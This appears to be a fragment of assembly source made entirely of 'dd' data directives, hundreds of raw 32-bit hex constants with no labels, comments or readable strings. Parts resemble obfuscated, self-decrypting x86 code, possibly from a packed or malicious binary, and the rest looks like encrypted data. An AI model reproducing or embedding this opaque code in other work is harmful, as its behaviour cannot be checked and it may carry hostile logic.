dd 6A12DEh, 451BD8Bh, 858D07E0h, 7E7974Fh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 49C35343h, 0E80F7CA3h
dd 5096B6B2h, 0BE8h, 0AF94DA00h, 68F275F5h, 63CF57ECh
dd 5AF88B66h, 6A240489h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 18042444h, 40000000h, 72FDC350h, 81FF30B1h
dd 8A44CFDFh, 3195FF1Eh, 6A07E025h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 84EEC351h
dd 699D29D5h, 0B07E02Ah, 69840FC0h, 6A000000h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
dd 9FD8C355h, 6AF5828Fh, 6061272Ch, 8B0F50h, 5E000000h
dd 0A8C0Fh, 5E90000h, 10000000h, 0A6C7708h, 221E961h, 6A0000h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
dd 91AB57C3h, 0BD89985Bh, 7E0127Dh, 4E8h, 12C00h, 66525000h
dd 310FCB8Bh, 585A5F57h, 0CE850h, 0DF480000h, 0E256BB54h
dd 95578211h, 8F0F4208h, 2, 8B5FD38Bh, 8B042444h, 24448900h
dd 48E0F04h, 66000000h, 582236BAh, 0FFF8B70Fh, 0E018A995h
dd 85015607h, 7E01471h, 4FB58D5Bh, 6007E797h, 0BE9h, 0F0A31D00h
dd 0CCAA8D8Ah, 0C9E4CD65h, 0FF9B529h, 0E86107E0h, 11h
dd 90C9FB1Eh, 665E581Ah, 809CF281h, 4C526BD1h, 5FF48AE3h
dd 694606C7h, 8A0F656Ch, 2, 46C7D78Bh, 6E6F6D04h, 7810F63h
dd 60000000h, 0D6805F52h, 46C7611Fh, 73616C08h, 159D8B73h
dd 0C707E00Eh, 0C46h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1A0424h, 51410000h, 0DD8CDBC3h, 0A62A4CEBh
dd 5B58589h, 6A07E0h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Ch, 0E0C35646h, 3FCDCE0Ah, 0FBF431C1h, 35858957h
dd 5A07E00Fh, 30DDBD29h, 858D07E0h, 7E7974Fh, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0C1C35040h, 46064661h
dd 3CB83BADh, 0E890F5EBh, 0Eh, 0A30378B9h, 0A744D9FEh
dd 3485C9B6h, 50595C25h, 6A90D18Ah, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0DF72C352h
dd 95FFE35Eh, 7E02531h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 18h, 3AC35141h, 957C9132h, 31852956h, 5B07E02Eh
dd 2F6D9589h, 0C00B07E0h, 36840Fh, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 170424h, 53430000h, 22B134C3h
dd 7ADB81DCh, 0E904FB44h, 13h, 1B619589h, 950307E0h, 7E01829h
dd 0FFFA6BE9h, 8D5B57FFh, 0E0748DB5h, 57006A07h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
dd 7A51C3E0h, 30D19D29h, 0B807E0h, 60000000h, 15419D29h
dd 8B6607E0h, 0E6FF61FAh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 18h, 0E8C35545h, 417438F5h, 20659D8Bh, 0C18B07E0h
dd 94A70CEBh, 0AF805F00h, 0BB950994h, 0D0E919F1h, 0E9000005h
dd 5C4h, 3F5913FBh, 0B4CE866Dh, 2B45FDE2h, 9EB87059h, 1630EACCh
dd 412318C1h, 0B79B6D87h, 2E11E3FDh, 0A48A5C76h, 5F0D0EAh
dd 0D302CFE2h, 9B35A721h, 5109ECC6h, 0B16B514Bh, 13CBAEACh
dd 722C100Eh, 8A9D815Bh, 654ABE20h, 0C0C5703Ah, 1376C3C9h
dd 6F0437E7h, 0BCC2BE5Dh, 33CDE0C2h, 31DE4BEAh, 0FBF9FEA9h
dd 6E485F19h, 7AC7CD85h, 0D6DB937Ch, 91B79973h, 0BA59436Eh
dd 3DE83B29h, 0A0583D37h, 0FEB69D9Bh, 0C07FA1F9h, 0F78186A9h
dd 0A6F92E5Ch
dd 6BEA3A1h, 248DB0EFh, 5A21D2CBh, 0CD9F0107h, 0E42B30E8h
dd 696A5FE8h, 0DEE39D83h, 3D42FCE0h, 0F53895CAh, 8D4499CEh
dd 1A986061h, 0A85A65EFh, 70107BFh, 19506A22h, 9DA25A3Fh
dd 0C44CA0A6h, 0DE2D5067h, 54CF4D92h, 1BEEA01h, 460D3BE3h
dd 2927747Ah, 0A2748E46h, 0C4F007BFh, 1F2DEF33h, 2D7A80C9h
dd 0CFB18BCAh, 79971A15h, 8CDFD0D2h, 0E1094386h, 102FCEDDh
dd 39EF17E4h, 0C414CD2Ah, 93F43B2h, 3787E87h, 55795CAEh
dd 25C97F32h, 0F9A4F7D3h, 0CE6DB3DFh, 0BA9E78B7h, 74E1FC00h
dd 4A1145CFh, 0A0FD0144h, 217BD7C5h, 0C3DA853Fh, 8F224584h
dd 0E7D845A2h, 0A3189994h, 9F5ED845h, 45A3357Ch, 43EE41D8h
dd 4A9F03Dh, 39D845A3h, 0F9257BD8h, 12054014h, 7, 352FB5Ch
dd 2B910000h, 0ECA48948h, 0ADD93C41h, 0D8B3BB7Bh, 81305332h
dd 0FD29BA22h, 0FFF9FFAAh, 315D621Ah, 0E6C91370h, 3DD142Eh
dd 665D621Ah, 0C4836660h, 787D28E2h, 0A9DE3A02h, 0E0C39D54h
dd 7B803821h, 0D6D4D984h, 868C37EFh, 0D7F1A98Ch, 63682005h
dd 0BFC47C65h, 0F5479CC9h, 2415810h, 2311A0C3h, 1A6D29BAh
dd 0BA22921Fh, 9399EC29h, 7DC1631h, 65476085h, 0DBBF91ABh
dd 30DE0A21h, 7D3457A3h, 0F9E07AC8h, 2F81A2A6h, 6C712B0Dh
dd 77C4CA75h, 0D6DB9579h, 383DF5D8h, 0ED9F573Ah, 564C510Bh
dd 6289D429h, 0A286D02Dh, 5897CEE8h, 0E8E39B7Eh, 0E07B50C9h
dd 393EF8DAh, 12186B42h, 0A6E8h, 4BD17E00h, 604302E5h
dd 1ACA3A8h, 555A05FCh, 9DB77157h, 292EE6CBh, 0BAA0CFE2h
dd 4AA7D429h, 49631B00h, 0D4D99377h, 3136F0D6h, 0E23489BEh
dd 9F593DFEh, 0FF1A39Ah, 0BE90AA55h, 0B81B20DAh, 35190B8Ch
dd 646A8239h, 3F62886Ah, 29BA2B72h, 90EB90Ch, 656A220Bh
dd 0C6CB8567h, 7B5EB176h, 0EAD02247h, 0EB95D835h, 5F17FAD4h
dd 0E85D635Ah, 9C5D418Bh, 5FC01B9h, 8C6E405Ah, 6457CDD2h
dd 0D11B78B5h, 0E41B35EFh, 2AE2CBA5h, 7E332E25h, 0F829BA32h
dd 0C2A59FA5h, 0F0BE050Ah, 7629BA32h, 371A6CC1h, 0C66B657Fh
dd 464B03ECh, 6C4F494Fh, 0CEB1AFB4h, 2A131116h, 8A6F6D72h
dd 812CE4CBh, 76CB147Ch, 69C60F2Bh, 6A843C1Fh, 0BE765933h
dd 0A57575B8h, 591729BAh, 5434E22Eh, 0FFFF2147h, 4FD191FFh
dd 779AD9F0h, 29BAA13Ah, 8CEBF144h, 5AA53169h, 0AFB4072Eh
dd 0D58D724Ch, 4027D9D0h, 868C8388h, 0D2ECA68Ch, 29726F9Bh
dd 0EDB7EA4Ch, 4D07EDE7h, 0A9614A48h, 6C0A6A4h, 67210301h
dd 267B3062h, 227FB4DBh, 7D674773h, 8F934D31h, 3137F7A0h
dd 7D975137h, 60BC5ABh, 0DA32EFBFh, 11C9AE21h, 6D250E0Ch
dd 63C0F568h, 767B3519h, 85B8D47Fh, 70CC4ABh, 38950A10h
dd 344E08EEh, 833D23FDh, 8781877Eh, 0DCBC8EA1h, 6B382FC6h
dd 0CEC5CA82h, 10737823h, 0CE0D90E4h, 0A557F474h, 0B0040AC2h
dd 1ED8BC60h, 60772219h, 13B3FE21h, 71CB21DAh, 0DAD1D68Eh
dd 0A7CA292Fh, 2679F357h, 48748EE1h, 21445BD8h, 2E5C92CEh
dd 0E8C2D92Ch, 51484D05h, 0FC01BB9Fh, 0B4B2FF05h, 2DFF19D1h
dd 468D924Ah, 696B0486h, 8BDD32F3h, 4D6F0A8h, 0CE2E0D20h
dd 0A7842058h, 535810F5h, 0AEACB15Ch, 100E13CBh, 0A6D722Ch
dd 0AAB4CAE7h, 0AF61B4CAh, 0A20A0FC9h, 2A4D0459h, 0CAAAB487h
dd 0E1F19CEFh, 35742380h, 0AAB49F12h, 601AFCCAh, 2A303689h
dd 0B3B06FCh, 7B17h, 442B6100h, 0BBA0728Ch, 2E17E903h
dd 0A88A5C76h, 2002D4EEh, 967A4C66h, 0DF0C2DCh, 83693B55h
dd 4C78AFC9h, 0C0E81656h, 20DAC07Eh, 93756F75h, 0DDC8D4D9h
dd 5D621A03h, 15136066h, 845E752Fh, 0EAE1E6A0h, 74A197E4h
dd 95D4BF1Fh, 161CD4BBh, 0BA99DED3h, 9A7E5829h, 0DEE4DBE0h
dd 80526CBFh, 4821E199h, 6A220BE5h, 3E686E65h, 63h, 367EEDD4h
dd 7929BAA1h, 1E60F74Ch, 758C442Bh, 835CFB49h, 0A5ABEB1Ch
dd 0D48C7143h, 47FFE8BAh, 0BF795B2Dh, 6B4669A8h, 1329BA0Ch
dd 2158BAC0h, 3180A3E2h, 4D29BA0Ch, 0BB2FFFAh, 79CC29BAh
dd 0DD977973h, 530DF1C3h, 0CC846739h, 40FAE0B2h, 2E15EF26h
dd 23DBC476h, 0F721271Eh, 3, 2B66248Dh, 86848943h, 0E3E1E6A0h
dd 45434800h, 0A4A2A761h, 50308C2h, 66646923h, 0C2C0C57Dh
dd 222025DDh, 6D7E833Bh, 81E78957h, 4C7h, 4EF8300h, 8B243C87h
dd 18682424h, 89000078h, 8951240Ch, 4C181E1h, 81000000h
dd 4E9h, 240C8700h, 243C895Ch, 65A46856h, 0C15E557Eh, 464E03EEh
dd 2DE4EE81h, 0F18902C8h, 8324348Bh, 0EC8304C4h, 24248904h
dd 4240483h, 26C1685Fh, 0C890000h, 8478F24h, 52243C8Bh
dd 0C281E289h, 4, 8704C283h, 0FF5C2414h, 81592434h, 4C4h
dd 0DC49E900h, 0AA33FFF8h, 0E7A410B8h, 8BC50307h, 3BE9D3h
dd 8B600000h, 0E0084DBDh, 4EF8307h, 0C18BC933h, 0B88320BBh
dd 4C783EDh, 8BEh, 1BE8D100h, 33D323D2h, 850F4EC2h, 0FFFFFFF1h
dd 81078941h, 100F9h, 0D3820F00h, 61FFFFFFh, 8DC88BC3h
dd 0E01E259Dh, 1778B807h, 85890000h, 7E00811h, 0E8h, 0D055800h
dd 89000000h, 1778E903h, 5DEh dup(0)
dd 8D8D0000h, 7E7BD3Bh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Bh, 7CC35141h, 0B52740F3h, 8B836E95h, 0E001A59Dh
dd 0A2F78107h, 894FEA4Ch, 0E018158Dh, 0ED9D8907h, 0C707E005h
dd 0E0204985h, 5F0407h, 0D5852B00h, 0C707E020h, 0E022C585h
dd 7, 31D88B00h, 0E028DD8Dh, 5DB5FF07h, 6A07E008h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
dd 4967C350h, 0F18AA68Bh, 209195FFh, 6A07E0h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 336993C3h
dd 8CF1AFD0h, 0BD89D0F3h, 7E001DDh, 95FF006Ah, 7E018A9h
dd 1FEBC08Bh, 0F152AE9Dh, 4E1E89F9h, 61B60FAAh, 99ECAA2Dh
dd 0D5A8F051h, 37A2C50Ch, 0FF39F9C1h, 0E90E7143h, 2Ah
dd 2404C7h, 0E8000000h, 0
dd 70ED815Dh, 8B07E7BDh, 89042444h, 0E0005D85h, 0B807h
dd 8D8D0000h, 7E04EE8h, 54B8E1FFh, 8D000067h, 0E7BE2C8Dh
dd 53006A07h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h
dd 0C3534300h, 89A40C7Eh, 0E018158Dh, 55006A07h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
dd 299B5921h, 85C7F78Bh, 7E02049h, 7098h, 98C0Fh, 0F600000h
dd 8Fh, 0C761FC00h, 0E022C585h, 7, 85B58B00h, 0FF07E031h
dd 0E012ADB5h, 75BD8B07h, 8907E01Bh, 0E02651B5h, 9195FF07h
dd 8907E020h, 0E01A79BDh, 0FF006A07h, 0E018A995h, 0EBC08B07h
dd 47F0761Ch, 0B1417EB9h, 0E2D339A5h, 0E2A3C76Ch, 5E93BDCh
dd 1CF9EA23h, 235BF286h, 5E8E0h, 0CCDE0000h, 8B3E1EF9h
dd 0E01B758Dh, 0BD015A07h, 7E00201h, 6CE4C281h, 0BD8B0000h
dd 7E02631h, 2A5069B8h, 65F0810Eh, 0FC0E2A4Bh, 0DB8032FFh
dd 8B515EEEh, 0C6815BF8h, 241DBC4Fh, 65B58950h, 5907E022h
dd 14D2C681h, 8B603AFAh, 0E02DE185h, 0D68B6607h, 56C68161h
dd 8B6D7A39h, 0E02F818Dh, 8B328907h, 0E01471BDh, 30EA8107h
dd 0F65FC72h, 0C281FFBFh, 65FC722Ch, 48CBB70Fh, 15850Fh
dd 0F9500000h, 30E95Bh, 5B20000h, 544DECBEh, 6AE8D7D1h
dd 0F7902A1h, 68Bh, 619D0300h, 0E907E022h, 0FFFFFF84h
dd 38D2D02h, 0D62682E6h, 91082AB6h, 0E4C6DE9Ah, 0ED55B248h
dd 7A5E75FDh, 69A476F6h, 49BC56E6h, 264191FDh, 266FF7FDh
dd 267834FDh, 26F1AAFDh, 263484FDh, 26D772FDh, 26A65BFDh
dd 261E38FDh, 264217FDh, 266F52FDh, 26782BFDh, 26F38CFDh
dd 2635E9FDh, 26D7CEFDh, 26A6ABFDh, 261C57FDh, 2641BBFDh
dd 8A259DFDh, 0A2229535h, 714A76D6h, 4BBD5CDEh, 7A5A5CF4h
dd 722775FDh, 799775F5h, 78CB74FDh, 7DED73FDh, 7BF374F5h
dd 7B7874FCh, 7ABC75FCh, 7A5E75FDh, 0E37876FDh, 0E0F975A6h
dd 7ACB75A6h, 7BE475FDh, 7BF374FCh, 0B29074FCh, 1ABC75F8h
dd 0B97CF070h, 0FFA6721Ah, 7D70CAA4h, 0B9F3F070h, 0FF6C721Ah
dd 7D15CAE4h, 0B90FF070h, 0FF35721Ah, 7DB9CAA8h, 0B8F9F070h
dd 0FF1E721Ah, 7D2CCAE0h, 0B870F070h, 0FF7B721Ah, 7D9ECADCh
dd 0BB8FF070h, 0FFD7721Ah, 7DC8CAD8h, 0BBD2F070h, 0FF42721Ah
dd 7D02CAD4h, 0BBA9F070h, 0FFF0721Ah, 7D5BCAD0h, 0BBE8F070h
dd 0FFA6721Ah, 7D70CAC4h, 0BB49F070h, 0FF6C721Ah, 7D15CACCh
dd 0BBD8F070h, 0FF35721Ah, 7DB9CAC8h, 0BB99F070h, 0FF1E721Ah
dd 7D2CCAC4h, 0BB15F070h, 0FF7B721Ah, 7D9ECAB4h, 0B8B3F070h
dd 0FFD7721Ah, 7DC8CAB0h, 0B8A5F070h, 0FF42721Ah, 7D02CAACh
dd 0B889F070h, 0FFF0721Ah, 7D5BCAC0h, 0B8ECF070h, 0FFA6721Ah
dd 7D70CABCh, 0B986F070h, 0FF6C721Ah, 7D15CAB8h, 5570F076h
dd 0FF35721Dh, 7DB9CA6Fh, 5C12F076h, 0FF1E721Dh, 7D2CCA6Bh
dd 0F1B0B69Ch, 7AF29D11h, 0FB2375FDh, 9D7CD317h, 3FD525FAh
dd 0EBADFDF5h, 22909242h, 7ACFB734h, 29B723ACh, 7A1A20ADh
dd 277975FDh, 0BA7B987Ch, 0FFA0721Ah, 7DC8CAE5h, 0C58FC87Dh
dd 9CF721Ah, 75E4C5B4h, 0BAF9B54Bh, 0EF863589h, 7D5BCA6Bh
dd 2B96FEBDh, 7A2F7A45h, 0EC028AFDh, 0F7CC9242h, 9D5A6C48h
dd 0FCC6F8FAh, 7E4B9D50h, 6FCF75FDh, 7A5E7645h, 0ECBA8AFDh
dd 0F7909242h, 9D746C48h, 0FCD1F8FAh, 23228A50h, 0F787BC1Fh
dd 7D5BCAE5h, 20052DA0h, 92EC2CA3h, 7A97776Dh, 79C1CD4Dh
dd 0E8708A57h, 0D1F59242h, 78079D3Eh, 0C2DA75FDh, 5954CD9Bh
dd 0EFD0DE9Bh, 7D70CA6Fh, 9208DE9Bh, 7AE57795h, 72F3360Bh
dd 0EF866E88h, 7D5BCA6Fh, 7954C54Dh, 0E8BA8AADh, 20909242h
dd 7E2BF69Bh, 1C277E9Bh, 6B1AB656h, 297975FFh, 7ABE4E15h
dd 0A0652FFDh, 59A57B89h, 7094913Dh, 0BA07F5DFh, 0D183FE4Dh
dd 7B009D3Eh, 922A75FDh, 7ABC77E1h, 0E844EA7h, 0D049C512h
dd 0A77FA916h, 8CCB75FCh, 0FED74BEh, 7B1A26D3h, 207975FFh
dd 72BD360Bh, 0A0655488h, 59A56889h, 7094913Dh, 0BA07F5DFh
dd 85B5FF4Dh, 9D4DE768h, 5F1F2FFAh, 71DA51FDh, 0B9F5133Fh
dd 9285E94Dh, 7A9774BDh, 9261F44Dh, 7AE57435h, 7AF22D15h
dd 5791DEFDh, 0CABC75FCh, 0CA9DDF60h, 5BC7DF61h, 1C9775FCh
dd 1C4A1345h, 7B439D56h, 4C1A75FDh, 1C7975FDh, 7BB69D56h
dd 0E7EE75FDh, 0E69FB657h, 7A699D57h, 0F32375FDh, 8CE575FCh
dd 0FFA74BEh, 0D0F9C5F2h, 7ABC6515h, 9EDEDFFDh, 84487DF9h
dd 7A97AA15h, 0D056C5FDh, 7AE2CD3Eh, 0EF0D75FDh, 7D9ECA6Bh
dd 0C5E1C070h, 8A5D721Ah, 0D02C7F51h, 0C505E002h, 9208721Ah
dd 7AE574E5h, 79F8254Dh, 844B9D57h, 43548A02h, 0CA5E75FCh
dd 0D02C7FA5h, 0D0C7C53Eh, 9261274Dh, 851A8BE1h, 4BFDCD9Bh
dd 6B91DE9Bh, 0CA438A03h, 22EEDFA7h, 929FB657h, 923C2257h
dd 7ACB750Ch, 5122FEA7h, 7E1AF63Fh, 8B917774h, 92438A00h
dd 7A5E7505h, 79252D4Dh, 0FF69B657h, 7D2CCAF2h, 0C5EAC87Dh
dd 0FF3721Ah, 0FBFCF8ECh, 2ABB9242h, 7A5C6115h, 781B9DFDh
dd 1A2775FDh, 87759D57h, 0C30D8A02h, 0CA0D8A00h, 0F787DF9Ch
dd 7D5BCAF2h, 0C551C87Dh, 0F2F721Ah, 0FB12F8F1h, 2ACC9242h
dd 7AE4DE15h, 7E4AB6FDh, 857975FDh, 9D03E368h, 0A4C3F8FAh
dd 0F028923Eh, 0B93D6DF9h, 2D619C4Dh, 7A8E9D56h, 0F1A875FDh
dd 0F9BB5E3Ah, 78357115h, 0E8CB8A3Eh, 0CE289242h, 0E96514Ah
dd 0CA74C1FFh, 924E13F2h, 7AF275C9h, 7A279DAEh, 0F0E675FDh
dd 79BEB5FEh, 7825B5F1h, 0EF68B657h, 7D2CCA6Fh, 0FAEA917Dh
dd 7542F539h, 0D12EDE9Bh, 85415A15h, 0BDD52F02h, 92ACB7D6h
dd 0B995FCF9h, 7ACB7345h, 0EC708AFDh, 0F7F59242h, 9DC60060h
dd 39A0F8FAh, 7A4ECD3Eh, 0EFD075FDh, 7D70CA6Bh, 0F1CEB57Eh
dd 0EF1A8935h, 7D15CA6Fh, 0B98E9757h, 8543BE15h, 7B1DFF02h
dd 8E5A72D9h, 6C7F7677h, 8CB75FCh, 831DB616h, 0F1A78908h
dd 86BDF611h, 7ABC9D9Dh, 0FB0475FDh, 9DEC9B17h, 86EAFCFAh
dd 0C55ACF7Dh, 75E5721Ah, 7AF2EC79h, 7A73CDFDh, 0E84375FDh
dd 7DB9CA6Bh, 0E0ADFCBDh, 0F1909242h, 0B879F835h, 85E29239h
dd 9D4DE76Fh, 3C7FFDFAh, 6D04801Fh, 795E75FDh, 9D90EF7Fh
dd 0E01A35FAh, 7D2CB14Bh, 0F3E1B67Eh, 644B22FEh, 797975FDh
dd 9D03EF77h, 0DEECF8FAh, 89289239h, 722F2B59h, 85CB75FDh
dd 9D5AE36Fh, 7E0AF6FAh, 7C718589h, 7ABC7244h, 4B5A7DFDh
dd 0BBF7C3F2h, 742E761Eh, 72CB75FDh, 765C44E1h, 72F275FDh
dd 61C044F9h, 72BC75FDh, 66E744F9h, 722F75FDh, 5B7F44F9h
dd 0F3348A01h, 0F1848980h, 0B93B8980h, 7A7F9DADh, 229C75FDh
dd 8E7A1102h, 5E6BFCA5h, 3E16E905h, 2CB389D9h, 3A7867C9h
dd 7AF2B6ADh, 7A7975FDh, 7ABC75FDh, 1AB2FEA8h, 7A2F7515h
dd 90162FFDh, 7D2CB128h, 0C57BCF70h, 0F79721Ah, 7A71CCF5h
dd 0DE4F75FDh, 7E9CBC9Ch, 0E7A226FDh, 7D70CA63h, 7BD3497Dh
dd 83BE7188h, 82A97716h, 96F2203Eh, 7ABC9D9Dh, 0FB0475FDh
dd 9DEA7B17h, 0E425F8FAh, 0F1CC9242h, 725C7D80h, 89F275FDh
dd 0B8B01459h, 0F7DC75F9h, 9DE1EB40h, 0C3EF46FAh, 7A9775F5h
dd 0B9AADF0Eh, 0E458F89Dh, 0FBF59242h, 7B7874C2h, 0FBB000FCh
dd 7B5F7182h, 795A74FCh, 82969E04h, 0F7ABB69Ch, 9D5AEB40h
dd 7AF3CDFAh, 72C075FDh, 89BC75FDh, 0F19D1457h
dd 0F7EFFE3Dh, 9D28DE78h, 8BD08AFAh, 0EE8CAh, 61290000h
dd 44A0E49Eh, 89E25E7Ch, 0CDD92991h, 8D0F60h, 0E9000000h
dd 0Fh, 2A9569DDh, 0E5B396D5h, 0DE88D87Bh, 61ECE0E4h, 0EC80575Ah
dd 0C2815B63h, 0EB1Ch, 0EE9h, 0E58CA300h, 698F4CBEh, 16B7BA17h
dd 0B98A2C1Fh, 3A95h, 0CCB80FBEh, 5F32FF23h, 7E9h, 37D00B00h
dd 0E769FF5Fh, 6C2DC781h, 0EB81081Ch, 558B0926h, 0BB1BEF81h
dd 12E863C1h, 0AA000000h, 0F0367D3Ch, 0F87C1E87h, 0CD5C865Eh
dd 290DBA75h, 9B8664Dh, 0C7815872h, 2CCFC56Fh, 57DFBF0Fh
dd 69F9BB66h, 0B70F028Fh, 0F1EA81DFh, 6672D82Dh, 0C281F78Bh
dd 72D82DEDh, 80B8D681h, 0E98113DEh, 1, 0FF8F850Fh, 0F60FFFFh
dd 0B70FD7BFh, 1EE961C3h, 45000000h, 31B362h, 6 dup(0)
dd 0E0BE900h, 8B680000h, 0E907E7C8h, 0FFF8BA5Bh, 0E7C99168h
dd 0BA51E907h, 6368FFF8h, 0E907E7CAh, 0FFF8BA47h, 0E7CAF568h
dd 0BA3DE907h, 7168FFF8h, 0E907E7CEh, 0FFF8BA33h, 0E7D1B968h
dd 0BA29E907h, 0C668FFF8h, 0E907E7D2h, 0FFF8BA1Fh, 2B45FFE7h
dd 0A0BA7259h, 1731E9CEh, 8AA45C45h, 21CD6B8h, 2D0F04ADh
dd 0A3875973h, 1AFDCFE9h, 90764862h, 0F1DCBCD6h, 0D2DAE3CEh
dd 8F299B21h, 8A8F492Bh, 0D7F1A98Ch, 29E1C6A0h, 0E241CF23h
dd 0BD6EA8CBh, 75C82E5Ah, 84842970h, 58B921DAh, 0FA79A5FBh
dd 8BB753D4h, 1A8FE4h, 0F97D832Dh, 35h, 0F04FD143h, 8E0CB6D9h
dd 38922E5Ah, 0EBF09B53h, 0DA7209A4h, 7ED33421h, 50899BC7h
dd 0A5C2E2B5h, 0D96D999Fh, 7FAB53D4h, 12FBCDC3h, 0B8F95F6h
dd 7, 908FB55h, 0C6910000h, 0A14D6487h, 0CF2929BAh, 342B30E8h
dd 0A3898389h, 0E6E4E9h, 10002C46h, 25D9FC13h, 332E5AA7h
dd 353AF2D9h, 2B8E933Eh, 50CB66FFh, 0DD8FCD38h, 443B40F8h
dd 8DB2FB3Eh, 2A8B21DAh, 0F54B77D5h, 2C6453D4h, 0AE000000h
dd 0D9F04FD1h, 5AA03CB6h, 6A6FC22Eh, 0DA9F8A23h, 0FD52B321h
dd 0D4EB639Fh, 0EED7B153h, 8D924A2Fh, 0EFE6EB96h, 11265E9h
dd 0C6AF0000h, 0A14D6487h, 654E29BAh, 7D83D6ADh, 0F5DC9D83h
dd 2A8D923Dh, 0DE84FEh, 255E621Ch, 0DA4A889h, 25743A4h
dd 6E504A50h, 204CAFB4h, 4178484Eh, 3016C817h, 747A7176h
dd 0C3DA947Ah, 464C04E9h, 0D5BC96F9h, 371D171Dh, 8548637Dh
dd 1629BA4Ah, 8A5C7630h, 3BFAE3A4h, 0A2999E56h, 0EF474CF7h
dd 0C8EB0221h, 2E5A21FAh, 0CFE20544h, 0A721DA21h, 702F4E54h
dd 0DA22644Dh, 0FAB7DA21h, 8421DA21h, 3075A31h, 0AD9AC0B4h
dd 536D1835h, 233AF927h, 0A8AD6749h, 294CABB1h, 2677A026h
dd 0EB2A4194h, 5F8EF7BFh, 7D83997Ch, 0CDE7A183h, 865F19FBh
dd 0E60E6B8Ah, 4C88B69Fh, 0B600000Bh, 28FA14CEh, 9D6F8941h
dd 14E600B8h, 8759732Bh, 7CD1EBA5h, 42FCDE53h, 0B8725628h
dd 31E9CC9Eh, 0A55F4517h, 9DC0AB8Bh, 21D2D914h, 2B5EF86Ah
dd 0EBA38849h, 6B2796E6h, 73606061h, 0DA061DC8h, 5781F7EFh
dd 68CAD03Ch, 3E9DB096h, 95B56807h, 8D87A14Ch, 7C8D9AC6h
dd 0B2142D9Fh, 6BC858ACh, 0B3D61554h, 29BA44FEh, 0EB0E2578h
dd 29BA44C6h, 14575DB0h, 2E5A43DEh, 79C0C518h, 21DA4434h
dd 9C4BA809h, 93B6DCC2h, 21DA441Eh, 545A0558h, 0D4B7104Eh
dd 0C03B53h, 2B850000h, 88868B45h, 0A0E7ECA6h, 29BAA52Dh
dd 688C6F49h, 0BA9D6C45h, 14BF1229h, 742E140Eh, 0E8A2885Ah
dd 5C14F7D1h, 0A85E9E58h, 979D7A0Ah, 112EF24Ah, 823C20FAh
dd 2180867Dh, 59C5C4FEh, 0CDE73A2Eh, 19DABC96h, 81787D37h
dd 947CD0D6h, 15D8097h, 7726777Dh, 51330D24h, 0C9AB7D97h
dd 2D40360Fh, 7059E60Eh, 0A4642h, 1AD4BC00h, 8F472E00h
dd 6BEA375h, 79311AECh, 0F1AB8D5Fh, 0E45982D7h, 5C2E4802h
dd 0D2A4BE78h, 4B1D37EFh, 0B191AB65h, 0D80EA3C6h, 0F66821D2h
dd 23492B5Ch, 0A0F0C1E4h, 338629BAh, 0BAA07938h, 0AEB20529h
dd 677662CCh, 0F50FBA8Bh, 9A7C3D23h, 39E4DBE0h, 452B251Fh
dd 0B59A748Bh, 0D0F99EA4h, 8C378FA0h, 3D8A9087h, 621C00DAh
dd 0C27C625Ch, 0A8F25EA8h, 65A4BB78h, 0DC465F39h, 0B9EAF8B9h
dd 272B7E29h, 8086DB01h, 5A0D293Dh, 570C5F2Eh, 9EF37C70h
dd 0D453BD78h, 0DA009ABDh, 23768034h, 898FBB1Eh, 992AA5DCh
dd 0BD63B7BDh, 9144677Eh, 0F584947Dh, 0CBB18BA2h, 81C0F711h
dd 9483535Eh, 0D2D82B7Bh, 5F38F2D8h, 9432296Fh, 7475A38Ch
dd 8E000009h, 0D2ECA6h, 75476119h, 0ECBED890h, 5F314B03h
dd 54A9C37Dh, 1AD4B66Bh, 904A2E00h, 9C1A476h, 7D371DEFh
dd 75988363h, 21D2D73Ch, 2B36D042h, 2E868B45h, 0A35B3EE2h
dd 921C4E9Eh, 89DBF626h, 0F91C33DEh, 2E5A8A39h, 4800E53Fh
dd 8AA14C43h, 0FB15CDB0h, 898E4629h, 0DA826F42h, 91CAE321h
dd 0A97721DAh, 91B6FB1Eh, 1E521DAh, 721D7047h, 951A385Bh
dd 51A4267Ah, 82C50E3Ah, 2BF9DEFh, 0CBB1AFFCh, 7A5E3811h
dd 866FE60Ch, 8E258h, 7E382000h, 0F3AB9264h, 6A2207D9h
dd 0DD957E50h, 550FF1C3h, 48FDE63Bh, 0C092AC66h, 360822DCh
dd 0AF819B53h, 15F50FC9h, 0D6AA072Ah, 62D421D2h, 0AECC6C8h
dd 3D544B50h, 0BAA0971Ah, 868CDF29h, 3A51EE32h, 5AA43B17h
dd 5B72C52Eh, 0DBE09881h, 9391DEE4h, 3DDF4ACh, 6A61661Eh
dd 49300264h, 0EA298C91h, 0DA9CEAC7h, 18D0B921h, 0F2451C13h
dd 0AD8A98ECh, 9D167396h, 0BD1021DAh, 7FABC2B8h, 26F805CEh
dd 0FE73791Bh, 0B87057A1h, 3C2A839Eh, 320C21DAh, 9B92974Fh
dd 57DD4195h, 0BBB2B771h, 0BFD6F910h, 0B721DA3Bh, 39134A64h
dd 7EB9D57h, 4B51484Dh, 9BB26A51h, 1D71216Fh, 87398AB6h
dd 94E1E7A1h, 0D9A6784Dh, 752F1321h, 0D78F7270h, 37EFD4D2h
dd 0F6399657h, 78C21F4Ch, 88BFD991h, 0F70EC8AEh, 0D9A5DDD4h
dd 40469921h, 0A2A75F46h, 0D9A6025Bh, 0FF548121h, 0F40EC6ADh
